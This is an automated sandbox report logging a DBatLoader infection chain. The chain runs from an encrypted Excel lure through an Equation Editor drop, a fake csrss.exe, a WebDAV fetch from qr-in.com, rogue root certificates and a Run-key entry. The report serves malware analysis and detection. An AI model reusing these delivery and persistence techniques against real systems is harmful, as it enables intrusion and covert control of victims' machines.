Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: winmm.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: secur32.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: webio.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ???y.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ???y.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ???y.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ????.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ????.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ????.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ???2.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ???2.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ???2.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ???.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ???.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ???.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??????s.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??????s?s.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??????s.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Section loaded: ??.dll Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: E:\Adlice\Truesight\x64\Release\truesight.pdb source: csrss.exe, 00000008.00000003.430261701.000000007DD80000.00000004.00000800.00020000.00000000.sdmp, csrss.exe, 00000008.00000003.430311842.000000007E3A0000.00000004.00000800.00020000.00000000.sdmp, Efftwcmk.PIF, 0000000B.00000002.474056612.000000007E280000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: easinvoker.pdb source: csrss.exe, 00000008.00000003.430261701.000000007DD80000.00000004.00000800.00020000.00000000.sdmp, csrss.exe, 00000008.00000003.430311842.000000007E3A0000.00000004.00000800.00020000.00000000.sdmp, Efftwcmk.PIF, 0000000B.00000002.474056612.000000007E280000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: easinvoker.pdbH source: csrss.exe, 00000008.00000003.430261701.000000007DD80000.00000004.00000800.00020000.00000000.sdmp, csrss.exe, 00000008.00000003.430311842.000000007E3A0000.00000004.00000800.00020000.00000000.sdmp, Efftwcmk.PIF, 0000000B.00000002.474056612.000000007E280000.00000004.00000800.00020000.00000000.sdmp
Source: ~DF78F515A159E2AA69.TMP.0.dr Initial sample: OLE indicators vbamacros = False
Source: Home Purchase Contract and Property Details.xls Initial sample: OLE indicators encrypted = True

Data Obfuscation
barindex
Yara detected DBatLoader
Source: Yara match File source: 11.2.Efftwcmk.PIF.2c70000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.Efftwcmk.PIF.2c70000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000B.00000002.465570467.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Contains functionality to dynamically determine API calls
Source: C:\Users\user\AppData\Roaming\csrss.exe Code function: 8_2_33D54D86 GetSystemDirectoryA,LoadLibraryA,LoadLibraryA,GetProcAddress, 8_2_33D54D86
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\AppData\Roaming\csrss.exe Code function: 8_2_33D97106 push ecx; ret 8_2_33D97119
Source: C:\Users\user\AppData\Roaming\csrss.exe Code function: 8_2_33D74E56 push ecx; ret 8_2_33D74E69
Source: C:\Users\user\AppData\Roaming\csrss.exe Code function: 8_2_33D486A6 push E833DA64h; iretd 8_2_33D486AB
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Code function: 11_2_02C992FC push 02C99367h; ret 11_2_02C9935F
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Code function: 11_2_02C732FC push eax; ret 11_2_02C73338
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Code function: 11_2_02C8D204 push ecx; mov dword ptr [esp], edx 11_2_02C8D209
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Code function: 11_2_02C7635C push 02C763B7h; ret 11_2_02C763AF
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Code function: 11_2_02C7635A push 02C763B7h; ret 11_2_02C763AF
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Code function: 11_2_02C990AC push 02C99125h; ret 11_2_02C9911D
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Code function: 11_2_02C991F8 push 02C99288h; ret 11_2_02C99280
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Code function: 11_2_02C99144 push 02C991ECh; ret 11_2_02C991E4
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Code function: 11_2_02C7672E push 02C76772h; ret 11_2_02C7676A
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Code function: 11_2_02C76730 push 02C76772h; ret 11_2_02C7676A
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Code function: 11_2_02C7C4E4 push ecx; mov dword ptr [esp], edx 11_2_02C7C4E9
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Code function: 11_2_02C7D518 push 02C7D544h; ret 11_2_02C7D53C
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Code function: 11_2_02C7CB64 push 02C7CCEAh; ret 11_2_02C7CCE2
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Code function: 11_2_02C7CB63 push 02C7CCEAh; ret 11_2_02C7CCE2
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Code function: 11_2_02C868C0 push 02C8696Bh; ret 11_2_02C86963
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Code function: 11_2_02C87884 push 02C87901h; ret 11_2_02C878F9
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Code function: 11_2_02C868BE push 02C8696Bh; ret 11_2_02C86963
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Code function: 11_2_02C82ED8 push 02C82F4Eh; ret 11_2_02C82F46
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Code function: 11_2_02C87ED0 push 02C87F08h; ret 11_2_02C87F00
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Code function: 11_2_02C89E74 push 02C89EACh; ret 11_2_02C89EA4
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Code function: 11_2_02C82FE3 push 02C83031h; ret 11_2_02C83029
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Code function: 11_2_02C82FE4 push 02C83031h; ret 11_2_02C83029
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Code function: 11_2_02C97F60 push 02C98124h; ret 11_2_02C9811C
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Code function: 11_2_02C9CF18 push eax; ret 11_2_02C9CFE8
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Code function: 11_2_02C87C5C push 02C87C9Eh; ret 11_2_02C87C96
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Code function: 11_2_02C85DF4 push ecx; mov dword ptr [esp], edx 11_2_02C85DF6
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Code function: 11_2_2D254E56 push ecx; ret 11_2_2D254E69
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Code function: 11_2_2D277A28 push eax; ret 11_2_2D277A46

Persistence and Installation Behavior
barindex
Microsoft Office launches external ms-search protocol handler (WebDAV)
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: \Device\RdpDr\;:1\qr-in.com\DavWWWRoot Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: \Device\RdpDr\;:1\qr-in.com\DavWWWRoot Jump to behavior
Drops PE files with a suspicious file extension
Source: C:\Windows\SysWOW64\extrac32.exe File created: C:\Users\Public\Libraries\Efftwcmk.PIF Jump to dropped file
Drops PE files with benign system names
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Roaming\csrss.exe Jump to dropped file
Installs new ROOT certificates
Source: C:\Users\user\AppData\Roaming\csrss.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob Jump to behavior
Office viewer loads remote template
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Section loaded: netapi32.dll and davhlpr.dll loaded Jump to behavior
Drops PE files
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Roaming\csrss.exe Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\csrss[1].exe Jump to dropped file
Source: C:\Windows\SysWOW64\extrac32.exe File created: C:\Users\Public\Libraries\Efftwcmk.PIF Jump to dropped file
Source: C:\Users\user\AppData\Roaming\csrss.exe Code function: 8_2_33D5AB0D OpenSCManagerW,OpenServiceW,CloseServiceHandle,ControlService,QueryServiceStatus,StartServiceW, 8_2_33D5AB0D
Source: C:\Users\user\AppData\Roaming\csrss.exe Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run Efftwcmk Jump to behavior
Source: C:\Users\user\AppData\Roaming\csrss.exe Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run Efftwcmk Jump to behavior
Extensive use of GetProcAddress (often used to hide API calls)
Source: C:\Users\user\AppData\Roaming\csrss.exe Code function: 8_2_33D75E5E GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress, 8_2_33D75E5E
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Source: C:\Users\user\AppData\Roaming\csrss.exe Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT Jump to behavior
Stores large binary data to the registry
Source: C:\Users\user\AppData\Roaming\csrss.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
